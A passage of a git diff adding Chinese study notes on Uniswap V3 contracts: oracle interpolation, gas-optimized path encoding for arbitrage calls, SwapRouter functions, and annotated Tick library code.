+        // 如果请求时间和返回的右侧时间戳吻合，那么可以直接使用
+        return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);
+    } else {
+        // we're in the middle
+        // 如果请求时间介于两个Oracle数据之间，我们需要线性的算出时间戳对应的数据
+        uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;
+        uint32 targetDelta = target - beforeOrAt.blockTimestamp;
+        return (
+            beforeOrAt.tickCumulative +
+                ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *
+                targetDelta,
+            beforeOrAt.secondsPerLiquidityCumulativeX128 +
+                uint160(
+                    (uint256(
+                        atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128
+                    ) * targetDelta) / observationTimeDelta
+                )
+        );
+    }
+}
+```
+
+补充
+
+- [关于secondsPerLiquidityCumulativeX128的原理解析](https://www.paradigm.xyz/2021/05/liquidity-mining-on-uniswap-v3/)
+- https://liaoph.com/uniswap-v3-5/
\ No newline at end of file
diff --git a/defi/Uniswap-V3/contractGuide/PathEncoding.md b/defi/Uniswap-V3/contractGuide/PathEncoding.md
new file mode 100644
index 000000000..cae5d85c4
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/PathEncoding.md
@@ -0,0 +1,257 @@
+## 源起
+
+前几天群里有讨论 Uniswap V3 中询价的处理，简单翻了下代码，发现与 Uniswap V2 相比，V3 变化真的很大～
+
+其中 [v3-periphery](https://github.com/Uniswap/v3-periphery/tree/main/contracts/libraries) 目录下的 `Path.sol` 用于编码交易对路径，主要是为了节省 gas
+
+我正好在写套利机器人，优化多多益善；于是尝试复用，并做了进一步的优化
+
+这里简单记录下
+
+## 原理
+
+交易的 intrinsic 成本计算如下
+
+``` go
+// go-ethereum/core/state_transition.go
+
+// IntrinsicGas computes the 'intrinsic gas' for a message with the given data.
+func IntrinsicGas(data []byte, accessList types.AccessList, isContractCreation bool, isHomestead, isEIP2028 bool) (uint64, error) {
+	// Set the starting gas for the raw transaction
+	var gas uint64
+	// Bump the required gas by the amount of transactional data
+	if len(data) > 0 {
+		// Zero and non-zero bytes are priced differently
+		var nz uint64
+		for _, byt := range data {
+			if byt != 0 {
+				nz++
+			}
+		}
+		// Make sure we don't exceed uint64 for all data combinations
+        nonZeroGas = params.TxDataNonZeroGasEIP2028
+		if (math.MaxUint64-gas)/nonZeroGas < nz {
+			return 0, ErrGasUintOverflow
+		}
+		gas += nz * nonZeroGas
+
+		z := uint64(len(data)) - nz
+		if (math.MaxUint64-gas)/params.TxDataZeroGas < z {
+			return 0, ErrGasUintOverflow
+		}
+		gas += z * params.TxDataZeroGas
+	}
+	return gas, nil
+}
+```
+
+其中，`TxDataZeroGas` 为 4，`TxDataNonZeroGasEIP2028` 为 16，即 input data 的空字节和非空字节，gas 分别为 4 wei 和 16 wei
+
+为了节省 gas，我们需要尽量减少 input data
+
+## 编码
+
+很不幸的是，在 solidity 中，数据编码几乎未考虑 gas 优化，一切以简单为前提
+
+比如，我们需要传递 pair 与 fee 的 `tuple` 到合约，假设数据为：
+
+| pair | fee |
+| -: | -: |
+| 0x55542f696a3fEcaE1C937Bd2e777B130587cFD2d | 500 |
+| 0x9D7076AD0F7fDc5F0F249e97721D36a448d24906 | 3000 |
+| 0x6CE15889C141C09Ecf76a57795E91214A1f97648 | 10000 |
+| 0xdfc647c079757bac4f7776cc876746119Ac451ea | 10000 |
+
+// 这里数据仅做例子，没有实际意义
+
+对应函数的原型，非常影响 gas
+
+### 原始编码
+
+函数原型为
+
+``` js
+function flashArbs(address[] calldata pool, uint24[] calldata fee) external;
+```
+
+数据编码为
+
+``` js
+0000000000000000000000000000000000000000000000000000000000000040 // pool.offset
+00000000000000000000000000000000000000000000000000000000000000e0 // fee.offset
+0000000000000000000000000000000000000000000000000000000000000004 // pool.length
+00000000000000000000000055542f696a3fecae1c937bd2e777b130587cfd2d // pool[0]
+0000000000000000000000009d7076ad0f7fdc5f0f249e97721d36a448d24906 // pool[1]
+0000000000000000000000006ce15889c141c09ecf76a57795e91214a1f97648 // pool[2]
+000000000000000000000000dfc647c079757bac4f7776cc876746119ac451ea // pool[3]
+0000000000000000000000000000000000000000000000000000000000000004 // fee.length
+00000000000000000000000000000000000000000000000000000000000001f4 // fee[0]
+0000000000000000000000000000000000000000000000000000000000000bb8 // fee[1]
+0000000000000000000000000000000000000000000000000000000000002710 // fee[2]
+0000000000000000000000000000000000000000000000000000000000002710 // fee[3]
+```
+
+编码过程参考 [Formal Specification of the Encoding](https://docs.soliditylang.org/en/v0.8.9/abi-spec.html#mapping-solidity-to-abi-types])，这里不做赘述
+
+消耗 gas 为 292 * 4 + 92 * 16 = 2640
+
+### 简单优化
+
+上面例子中，可以看到两个数组分别有自己的 offset 和 length，额外消耗了 gas
+
+容易想到，我们可以将 pool 和 fee 组织为结构体，以结构体数组的形式传递参数
+
+函数原型为
+
+``` js
+struct PoolTier {
+    address pool;
+    uint24 fee;
+}
+
+function flashArbs(PoolTier[] calldata input) external;
+```
+
+数据编码为
+
+``` js
+0000000000000000000000000000000000000000000000000000000000000020 // input.offset
+0000000000000000000000000000000000000000000000000000000000000004 // input.length
+00000000000000000000000055542f696a3fecae1c937bd2e777b130587cfd2d // input[0]
+00000000000000000000000000000000000000000000000000000000000001f4
+0000000000000000000000009d7076ad0f7fdc5f0f249e97721d36a448d24906 // input[1]
+0000000000000000000000000000000000000000000000000000000000000bb8
+0000000000000000000000006ce15889c141c09ecf76a57795e91214a1f97648 // input[2]
+0000000000000000000000000000000000000000000000000000000000002710
+000000000000000000000000dfc647c079757bac4f7776cc876746119ac451ea // input[3]
+0000000000000000000000000000000000000000000000000000000000002710
+```
+
+消耗 gas 为 230 * 4 + 90 * 16 = 2360
+
+节省 gas 为 280
+
+## Uniswap V3 优化
+
+从上面两个例子可以看到，solidity 编码的最大问题在于 padding，即 32 字节对齐，导致引入了非常多无效的空字节
+
+上述例子中 gas 为 2360，而空字节消耗了 230 * 4 = 920，无效数据占比为 ~ 40%
+
+为了进一步优化，考虑到 pool 和 fee 都为定长类型，可以直接拼接而不做 padding，在实际使用时才做解码
+
+函数原型为
+
+``` js
+function flashArbs(bytes calldata input) external;
+```
+
+数据编码为
+
+``` js
+0000000000000000000000000000000000000000000000000000000000000020
+000000000000000000000000000000000000000000000000000000000000005c
+55542f696a3fecae1c937bd2e777b130587cfd2d0001f4
+9d7076ad0f7fdc5f0f249e97721d36a448d24906000bb8
+6ce15889c141c09ecf76a57795e91214a1f97648002710
+dfc647c079757bac4f7776cc876746119ac451ea002710
+00000000 // padding
+```
+
+消耗 gas 为 66 * 4 + 90 * 16 = 1704，无效数据占比降至 ～ 15%
+
+这也是 Uniswap V3 的优化方式
+
+## 优化
+
+实际上，我们继续优化，使得有效载荷为 100%
+
+函数原型为
+
+``` js
+function flashArbs() external;
+```
+
+数据编码为
+
+``` js
+55542f696a3fecae1c937bd2e777b130587cfd2d0001f4
+9d7076ad0f7fdc5f0f249e97721d36a448d24906000bb8
+6ce15889c141c09ecf76a57795e91214a1f97648002710
+dfc647c079757bac4f7776cc876746119ac451ea002710
+```
+
+是不是有点奇怪，函数原型中没有参数，那么参数从哪里获取呢？
+
+实际上，我的方式是抛弃 solidity 编码，直接使用 assembly 来解析数据，代码如下
+
+``` js
+bytes memory input;
+assembly {
+    let calldata_len := calldatasize()
+    let input_len := sub(calldata_len, 4)
+
+    input := mload(0x40)
+    mstore(input, input_len)
+
+    let input_data := add(input, 0x20)
+    calldatacopy(input_data, 4, input_len)
+
+    let free := add(input_data, input_len)
+    let free_round := and(add(free, 31), not(31))
+    mstore(0x40, free_round)
+}
+```
+
+这里稍微解释下：
+
+首先通过 `calldatasize` 得到调用数据的长度，减去 function selector 的 4 字节，得到的 `input_len` 即为参数长度
+
+然后通过 0x40 获得空闲指针，拷贝参数到 memory
+
+最后将参数长度按 32 字节向上取整，修改空闲指针
+
+### 题外
+
+不要觉得上面的 assembly 本身消耗了 gas，导致优化效果减少
+
+要知道，即使按 Uniswap V3 传 bytes 参数的方式，也是需要拷贝数据到 memory，过程是一样的
+
+如果考究一些，我们甚至可以跳过 solidity 编译后的某些 opcode
+
+比如上面例子中，我并不检查 input_len 的长度是否大于0，因为我不需要
+
+而 solidity 编译后的操作码，势必包括种种边界检查
+
+换句话说，这种方式不仅优化了数据 gas，还稍微优化了一些 opcode
+
+## 到此为止？
+
+实际上，上面的优化有个小问题，在于 memory 中消耗了 32 字节用于保存 input 的长度，而这个长度，在整个生命周期中是固定的
+
+我选择将它转移到栈上，只是使用时稍微麻烦一些，不像 bytes 方便～
+
+，即
+
+``` js
+uint input;
+uint input_len;
+assembly {
+    let calldata_len := calldatasize()
+    input_len := sub(calldata_len, 4)
+
+    input := mload(0x40)
+    calldatacopy(input, 4, input_len)
+
+    let free := add(input, input_len)
+    let free_round := and(add(free, 31), not(31))
+    mstore(0x40, free_round)
+}
+```
+
+## 实测
+
+我用大概 100 多条套利路径，对 Uniswap V3 编码方式，以及进一步优化方式，分别跑了自动化测试，平均下来一笔交易可以优化 2000 gas 左右
+
+比预期的优化大了很多，具体原因未查
+
+
diff --git a/defi/Uniswap-V3/contractGuide/SwapRouter.md b/defi/Uniswap-V3/contractGuide/SwapRouter.md
new file mode 100644
index 000000000..21749716d
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/SwapRouter.md
@@ -0,0 +1,303 @@
+# SwapRouter
+
+## State Variables
+
+## struct
+
+### ExactInputParams
+
+```solidity
+struct ExactInputParams {
+    bytes path;                 // 路径
+    address recipient;          // 收款地址
+    uint256 deadline;           // 交易有效期
+    uint256 amountIn;           // 输入的 token 数（输入的 token 地址就是 path 中的第一个地址）
+    uint256 amountOutMinimum;   // 预期交易最少获得的 token 数（获得的 token 地址就是 path 中最后一个地址）
+}
+```
+
+### SwapCallbackData
+
+交易回调函数的入参结构体
+
+```solidity
+struct SwapCallbackData {
+    bytes path;
+    address payer;
+}
+```
+
+## functions
+
+### exactInput
+
+指定交易对路径，将 tokenIn 交换为 tokenOut， 返回实际的交易数量。
+
+- 传入 x token 数和预期得到的最小 y token 数
+- path中传入多个token地址，可设置中间代币 （Base token），即 tokenX -> Basetoken -> tokenY
+  - tokenAddress0 + fee0 + tokenAddress1（无Base token）
+  - tokenAddress0 + fee0 + tokenAddress1 + fee1 + tokenAddress2（有Base token）
+
+```solidity
+/// @inheritdoc ISwapRouter
+function exactInput(ExactInputParams memory params)
+    external
+    payable
+    override
+    checkDeadline(params.deadline)
+    returns (uint256 amountOut)
+{
+    address payer = msg.sender; // msg.sender pays for the first hop
+
+    // 通过循环，遍历传入的路径，进行交易
+    while (true) {
+        // 交易路径是否存在2个及2个以上的Pool地址
+        bool hasMultiplePools = params.path.hasMultiplePools();
+
+        // the outputs of prior swaps become the inputs to subsequent ones
+        params.amountIn = exactInputInternal(
+            params.amountIn,
+            hasMultiplePools ? address(this) : params.recipient, // for intermediate swaps, this contract custodies
+            0,                          // 传入价格 0 代表以市价交易
+            SwapCallbackData({
+                path: params.path.getFirstPool(), // only the first pool in the path is necessary
+                payer: payer
+            })
+        );
+
+        // decide whether to continue or terminate
+        // 判断path中是否还有未交易的token地址，即是否需要继续交易
+        if (hasMultiplePools) {
+            // 继续循环，需要将交易者设置为本合约地址
+            payer = address(this);  // at this point, the caller has paid
+            params.path = params.path.skipToken();
+        } else {
+            // 交易完成跳出循环
+            amountOut = params.amountIn;
+            break;
+        }
+    }
+
+    // 检查交易输出量，不能过小
+    require(amountOut >= params.amountOutMinimum, 'Too little received');
+}
+```
+
+相关代码
+
+- [struct ExactInputParams](#ExactInputParams)
+- [struct SwapCallbackData](#SwapCallbackData)
+- [modifier checkDeadLine](#checkDeadLine)
+- [hasMultiplePools](#hasMultiplePools)
+- [exactInputInternal](#exactInputInternal)
+
+### exactInputInternal
+
+exactInput 内部函数
+
+```solidity
+/// @dev Performs a single exact input swap
+function exactInputInternal(
+    uint256 amountIn,
+    address recipient,
+    uint160 sqrtPriceLimitX96,
+    SwapCallbackData memory data
+) private returns (uint256 amountOut) {
+    // allow swapping to the router address with address 0
+    // 允许0地址作为接受者 自动转为本合约地址
+    if (recipient == address(0)) recipient = address(this);
+
+    // 从path中解析出Pool的关键信息
+    // 这里从交易链路（path）中解析出的地址有可能 tokenIn > tokenOut 
+    (address tokenIn, address tokenOut, uint24 fee) = data.path.decodeFirstPool();
+
+    // 判断两个token地址大小
+    // 由于Pool中price始终以 y/x 表示 （x地址 < y地址）
+    // zeroForOne 实际代表的是Pool.swap中的交易方向
+    //      true  token x -> token y
+    //      false token y -> token x
+    bool zeroForOne = tokenIn < tokenOut;
+
+    // 调用Pool.swap 返回实际交易的token数量
+    // amount0 输入的实际数量
+    // amount1 输出的实际数量
+    // 执行完成后 Pool 会调用 uniswapV3SwapCallback 回调函数
+    (int256 amount0, int256 amount1) =
+        getPool(tokenIn, tokenOut, fee).swap(
+            recipient,
+            zeroForOne,
+            amountIn.toInt256(),
+            // 传入价格 0 代表以市价交易
+            sqrtPriceLimitX96 == 0
+                ? (zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1)
+                : sqrtPriceLimitX96,
+            abi.encode(data)
+        );
+
+    return uint256(-(zeroForOne ? amount1 : amount0));
+}
+```
+
+相关代码
+
+- [Pool.swap](./UniswapV3Pool.md#swap)
+- [Router.uniswapV3SwapCallback](#uniswapV3SwapCallback)
+
+### uniswapV3SwapCallback
+
+swap回调函数，只执行path交易链路中的第一个token转账
+
+- 执行 `exactInput`时，将直接把token从Manager合约内转到Pool中
+
+`Pool.swap` 执行完成后，会调用本回调函数
+
+```solidity
+/// @inheritdoc IUniswapV3SwapCallback
+function uniswapV3SwapCallback(
+    int256 amount0Delta,
+    int256 amount1Delta,
+    bytes calldata _data
+) external override {
+    require(amount0Delta > 0 || amount1Delta > 0); // swaps entirely within 0-liquidity regions are not supported
+    SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData));
+    (address tokenIn, address tokenOut, uint24 fee) = data.path.decodeFirstPool();
+    CallbackValidation.verifyCallback(factory, tokenIn, tokenOut, fee);
+
+    (bool isExactInput, uint256 amountToPay) =
+        amount0Delta > 0
+            ? (tokenIn < tokenOut, uint256(amount0Delta))
+            : (tokenOut < tokenIn, uint256(amount1Delta));
+    if (isExactInput) {
+        pay(tokenIn, data.payer, msg.sender, amountToPay);
+    } else {
+        // either initiate the next swap or pay
+        if (data.path.hasMultiplePools()) {
+            data.path = data.path.skipToken();
+            exactOutputInternal(amountToPay, msg.sender, 0, data);
+        } else {
+            amountInCached = amountToPay;
+            tokenIn = tokenOut; // swap in/out because exact output swaps are reversed
+            pay(tokenIn, data.payer, msg.sender, amountToPay);
+        }
+    }
+}
+```
+
+### hasMultiplePools
+
+通过路径字节长度判断交易路径中是否存在两个及以上的pool地址
+
+```solidity
+/// @notice Returns true iff the path contains two or more pools
+/// @param path The encoded swap path
+/// @return True if path contains two or more pools, otherwise false
+function hasMultiplePools(bytes memory path) internal pure returns (bool) {
+    // MULTIPLE_POOLS_MIN_LENGTH： 2个Pool地址+1个fee费率的字节长度
+    return path.length >= MULTIPLE_POOLS_MIN_LENGTH;
+}
+```
+
+### decodeFirstPool
+
+解析交易路径中的第一个Pool地址，返回tokenA,tokenB,fee
+
+```solidity
+/// @notice Decodes the first pool in path
+/// @param path The bytes encoded swap path
+/// @return tokenA The first token of the given pool
+/// @return tokenB The second token of the given pool
+/// @return fee The fee level of the pool
+function decodeFirstPool(bytes memory path)
+    internal
+    pure
+    returns (
+        address tokenA,
+        address tokenB,
+        uint24 fee
+    )
+{
+    // 返回第一个地址
+    tokenA = path.toAddress(0);
+    fee = path.toUint24(ADDR_SIZE);
+    tokenB = path.toAddress(NEXT_OFFSET);
+}
+```
+
+相关代码
+
+- [path.toAddress](#path.toAddress)
+- [path.toUint24](#path.toUint24)
+
+### path.toAddress
+
+传入`bytes` 类型，和读取的起始位，返回内存中的地址
+
+```solidity
+function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
+    // 检查 _start+20 是否会溢出（超过uint256的最大值）
+    // 若溢出则为负数
+    require(_start + 20 >= _start, 'toAddress_overflow');
+    // 检查_start 起始位 + 20字节（地址类型的长度） 不能超过bytes的总长度
+    require(_bytes.length >= _start + 20, 'toAddress_outOfBounds');
+    address tempAddress;
+
+    assembly {
+        // add(_bytes, 0x20)
+        // 从 _bytes 指针开始向后越过32字节（16进制0x20）
+        // 即 跳过内存中表达 _bytes 长度的区域（一个uint256数值）
+
+        // add(..., _start)
+        // 加上入参设置的读取起始位
+
+        // div(mload(...), 0x1000000000000000000000000) 这里有24个0，即 2^96
+        // 将mload的结果右移96位（12个字节）
+        // 因为mload取出的数据是uint256类型（32个字节）而address类型是（20个字节）
+        // 结果会自动在后面补0，即后12个字节（96位）补0，所以这里需要用除法将结果右移96位
+
+        tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
+    }
+
+    return tempAddress;
+}
+```
+
+原理解析：
+
+- bytes在内存中前32字节是存储的bytes长度数值（uint256），所以这里要加上32越过这个uint256区域
+- 由于address是uin160（20个字节），用mload操作符取出来是一个uint256（32个字节），所以得到的值后面会被补0。于是我们需要将取出的结果右移。
+- 这里补了12个字节，也就是`12 * 8 = 96` 个0 (2进制)，所以结果需要除以 2^96。转换成16进制就是上面的0x100...0(24个0）
+
+补充
+
+- [Formal Specification of the Encoding](https://docs.soliditylang.org/en/latest/abi-spec.html#formal-specification-of-the-encoding)
+
+### toUint24
+
+传入`bytes` 类型，和读取的起始位，返回内存中的fee费率数值(`uint24`)
+
+```solidity
+function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) {
+    require(_start + 3 >= _start, 'toUint24_overflow');
+    require(_bytes.length >= _start + 3, 'toUint24_outOfBounds');
+    uint24 tempUint;
+
+    assembly {
+        tempUint := mload(add(add(_bytes, 0x3), _start))
+    }
+
+    return tempUint;
+}
+```
+
+## modifier
+
+### checkDeadline
+
+当blocktime超过deadline，被修饰的函数终止执行
+
+```solidity
+modifier checkDeadline(uint256 deadline) {
+    require(_blockTimestamp() <= deadline, 'Transaction too old');
+    _;
+}
+```
diff --git a/defi/Uniswap-V3/contractGuide/Tick.md b/defi/Uniswap-V3/contractGuide/Tick.md
new file mode 100644
index 000000000..e63761335
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/Tick.md
@@ -0,0 +1,689 @@
+# Tick
+
+UniswapV3将连续的价格范围，分割成有限个离散的价格点。每一个价格对应一个 `tick`，用户在设置流动性的价格区间时，只能选择这些离散的价格点中的某一个作为流动性的边界价格。
+
+- tick组成的价格序列既为一串等比数列，公比为 1.0001 ，下一个价格点为当前价格点的 100.01%。
+
+- 为了计算方便，实际上储存的是√P。而使用时，通常使用tick的序号 `i`。
+
+- tick的序号是固定的整数集合，即 区间 [-887272, 887272] 的整数。原因见下方 [TickMath](#TickMath)
+
+## Tick(library)
+
+tick的数据结构和相关计算方法
+
+### state
+
+### struct
+
+#### Info
+
+```solidity
+// info stored for each initialized individual tick
+// 每一个初始化之后的 tick 以下列结构储存
+struct Info {
+    // the total position liquidity that references this tick
+    // 该tick上 所有position的流动性累加
+    uint128 liquidityGross;
+    // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),
+    // 该tick上 所有position的流动性净值
+    int128 liquidityNet;
+    // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)
+    // 每单位流动性的 手续费数量 outside （相对于当前交易价格的另一边）
+    // only has relative meaning, not absolute — the value depends on when the tick is initialized
+    // 这只是一个相对的概念，并不是绝对的数值（手续费的计算工具，而并不是实际的手续费）
+    // 只有当tick已经初始化后，才会被使用
+    uint256 feeGrowthOutside0X128;
+    uint256 feeGrowthOutside1X128;
+    // the cumulative tick value on the other side of the tick
+    // tick 外侧（outside）的 价格 × 时间 累加值
+    // 用于 Oracle 的相关计算
+    int56 tickCumulativeOutside;
+    // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)
+    // 每流动性单位的 tick激活时间 (t/L 主要用于计算流动性挖矿的收益) （outside)
+    // only has relative meaning, not absolute — the value depends on when the tick is initialized
+    // 这只是一个相对的概念，并不是绝对的数值 -- 只有当tick已经初始化后，才会被使用
+    uint160 secondsPerLiquidityOutsideX128;
+    // the seconds spent on the other side of the tick (relative to the current tick)
+    // tick激活时间 （outside）
+    // only has relative meaning, not absolute — the value depends on when the tick is initialized
+    // 这只是一个相对的概念，并不是绝对的数值 -- 只有当tick已经初始化后，才会被使用
+    uint32 secondsOutside;
+    // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0
+    // tick是否初始化 即 该值完全等同于表达式 liquidityGross != 0 
+    // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks
+    // 这个参数的目的是为了防止tick未初始化时，发生更新和存储状态的操作
+    bool initialized;
+}
+```
+
+### functions
+
+#### tickSpacingToMaxLiquidityPerTick
+
+根据tickSpacing计算每个tick上能承载的最大流动性。
+
+为何需要限制最大流动性：
+
+- 因为每个Pool的总流动性 `liquidity` 是 `uint128` 类型，为了防止`liquidity`数据溢出
+- 对每个tick承载的流动性做出限制，而不是监控Pool总流动性
+
+```solidity
+/// @notice Derives max liquidity per tick from given tick spacing
+/// 根据tick spacing 间隔得出每隔tick上所能承载的最大流动性
+/// @dev Executed within the pool constructor
+/// 该方法由 Pool 构造函数调用
+/// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`
+/// tickSpacing tick 的计算间隔
+///     e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...
+///     即 一个值为3的tickspacing 需要每隔3个对tick进行初始化
+/// @return The max liquidity per tick
+/// 函数返回每个tick能承载的最大流动性
+function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {
+    // 计算正数区间和负数区间 各由多少tick需要被初始化
+    // 由于前后两端的间隔可能小于 tickspacing，最后可能出现舍弃两端tick的情况
+    // 因此先整除再乘 得出精确的tick数量
+    // 注意 minTick 得出的是负数 TickMath.MIN_TICK = -887272
+    int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;
+    int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;
+    // （正整数数量 - 负整数数量）/ tickspacing + 1 （i = 0）
+    uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;
+    // liquidity 是 unit128 类型 type(uint128).max 即为 liquidity的最大值
+    return type(uint128).max / numTicks;
+}
+```
+
+相关代码
+
+- [TickMath.MIN_TICK](#MIN_TICK)
+- [TickMath.MAX_TICK](#MAX_TICK)
+- [tickSpacing](./UniswapV3Pool.md#tickSpacing)
+
+#### getFeeGrowthInside
+
+```solidity
+/// @notice Retrieves fee growth data
+/// 检索手续费数据 返回feeInside
+/// @param self The mapping containing all tick information for initialized ticks
+/// self 
+/// @param tickLower The lower tick boundary of the position
+/// @param tickUpper The upper tick boundary of the position
+/// @param tickCurrent The current tick
+/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
+/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
+/// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries
+/// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries
+function getFeeGrowthInside(
+    mapping(int24 => Tick.Info) storage self,
+    int24 tickLower,
+    int24 tickUpper,
+    int24 tickCurrent,
+    uint256 feeGrowthGlobal0X128,
+    uint256 feeGrowthGlobal1X128
+) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {
+    Info storage lower = self[tickLower];
+    Info storage upper = self[tickUpper];
+
+    // calculate fee growth below
+    uint256 feeGrowthBelow0X128;
+    uint256 feeGrowthBelow1X128;
+    if (tickCurrent >= tickLower) {
+        feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;
+        feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;
+    } else {
+        feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;
+        feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;
+    }
+
+    // calculate fee growth above
+    uint256 feeGrowthAbove0X128;
+    uint256 feeGrowthAbove1X128;
+    if (tickCurrent < tickUpper) {
+        feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;
+        feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;
+    } else {
+        feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;
+        feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;
+    }
+
+    feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;
+    feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;
+}
+```
+
+#### update
+
+更新tick的状态，返回激活状态是否发生改变
+
+```solidity
+/// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa
+/// 更新一个tick的状态，返回该tick的激活状态是否发生改变
+/// @param self The mapping containing all tick information for initialized ticks
+/// 包含所有tick的mapping
+/// @param tick The tick that will be updated
+/// 需要更新的tick
+/// @param tickCurrent The current tick
+/// Pool当前价格所在的tick
+/// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)
+/// 流动性变化量，当价格穿过该tick时需要增减的流动性数量
+/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
+/// 当前每单位流动性应得的手续费数量
+/// Pool的token0总手续费 / 当前流动性数量 （便于计算不同position应得的手续费数量）
+/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
+/// 同上
+/// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool
+/// tick激活时间 / 流动性总和 的加权平均值
+/// @param time The current block timestamp cast to a uint32
+/// blocktime
+/// @param upper true for updating a position's upper tick, or false for updating a position's lower tick
+/// true 为更新tickupper false 为更新ticklower
+/// @param maxLiquidity The maximum liquidity allocation for a single tick
+// tick所能承载的最大流动性数量
+/// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa
+/// 返回该tick的激活状态是否发生改变
+/// 激活 -> 未激活 | 未激活 -> 激活
+function update(
+    mapping(int24 => Tick.Info) storage self,
+    int24 tick,
+    int24 tickCurrent,
+    int128 liquidityDelta,
+    uint256 feeGrowthGlobal0X128,
+    uint256 feeGrowthGlobal1X128,
+    uint160 secondsPerLiquidityCumulativeX128,
+    int56 tickCumulative,
+    uint32 time,
+    bool upper,
+    uint128 maxLiquidity
+) internal returns (bool flipped) {
+    // 获取需要更新的tick当前数据
+    Tick.Info storage info = self[tick];
+
+    // tick更新之前的流动性总量
+    uint128 liquidityGrossBefore = info.liquidityGross;
+    // tick更新之后的流动性总量
+    uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);
+
+    // 更新的总量不能超过tick所能承载的最大流动性数量
+    require(liquidityGrossAfter <= maxLiquidity, 'LO');
+
+    // 返回当前tick的激活状态是否发生了改变
+    // 激活 -> 未激活 | 未激活 -> 激活
+    // 根据流动性总量是否为0来判断激活状态 为0未激活
+    flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);
+
+    // 如果tick之前未激活 需要对tick进行初始化并激活
+    if (liquidityGrossBefore == 0) {
+        // by convention, we assume that all growth before a tick was initialized happened _below_ the tick
+        // 这里规定当价格在tick左侧
+        // feeOutside = Pool的总手续费
+        // feeOutside为外侧手续费， 外侧手续费 + 内侧 = 总手续费
+        // 具体原理请参见博客原文
+        if (tick <= tickCurrent) {
+            info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;
+            info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;
+            info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;
+            info.tickCumulativeOutside = tickCumulative;
+            info.secondsOutside = time;
+        }
+        // 设置激活状态
+        info.initialized = true;
+    }
+
+    // 更新tick的总流动性
+    info.liquidityGross = liquidityGrossAfter;
+
+    // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)
+    // 更新tick的流动性净值 即 当价格穿过该tick时 用于计算的流动性数量
+    // 当此tick作为价格上限更新时 流动性净值需要减
+    // 当此tick作为价格下限更新时 流动性净值需要加
+    info.liquidityNet = upper
+        ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()
+        : int256(info.liquidityNet).add(liquidityDelta).toInt128();
+}
+```
+
+相关代码
+
+- [maxLiquidity](#tickSpacingToMaxLiquidityPerTick)
+
+补充
+
+- [Uniswap v3 详解（四）：交易手续费](https://liaoph.com/uniswap-v3-4/)
+
+#### clear
+
+清除tick的数据
+
+```solidity
+/// @notice Clears tick data
+/// @param self The mapping containing all initialized tick information for initialized ticks
+/// @param tick The tick that will be cleared
+function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {
+    delete self[tick];
+}
+```
+
+#### cross
+
+当价格穿过tick时，需要对tick状态做出改变
+
+```solidity
+/// @notice Transitions to next tick as needed by price movement
+/// @param self The mapping containing all tick information for initialized ticks
+/// @param tick The destination tick of the transition
+/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
+/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
+/// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity
+/// @param time The current block.timestamp
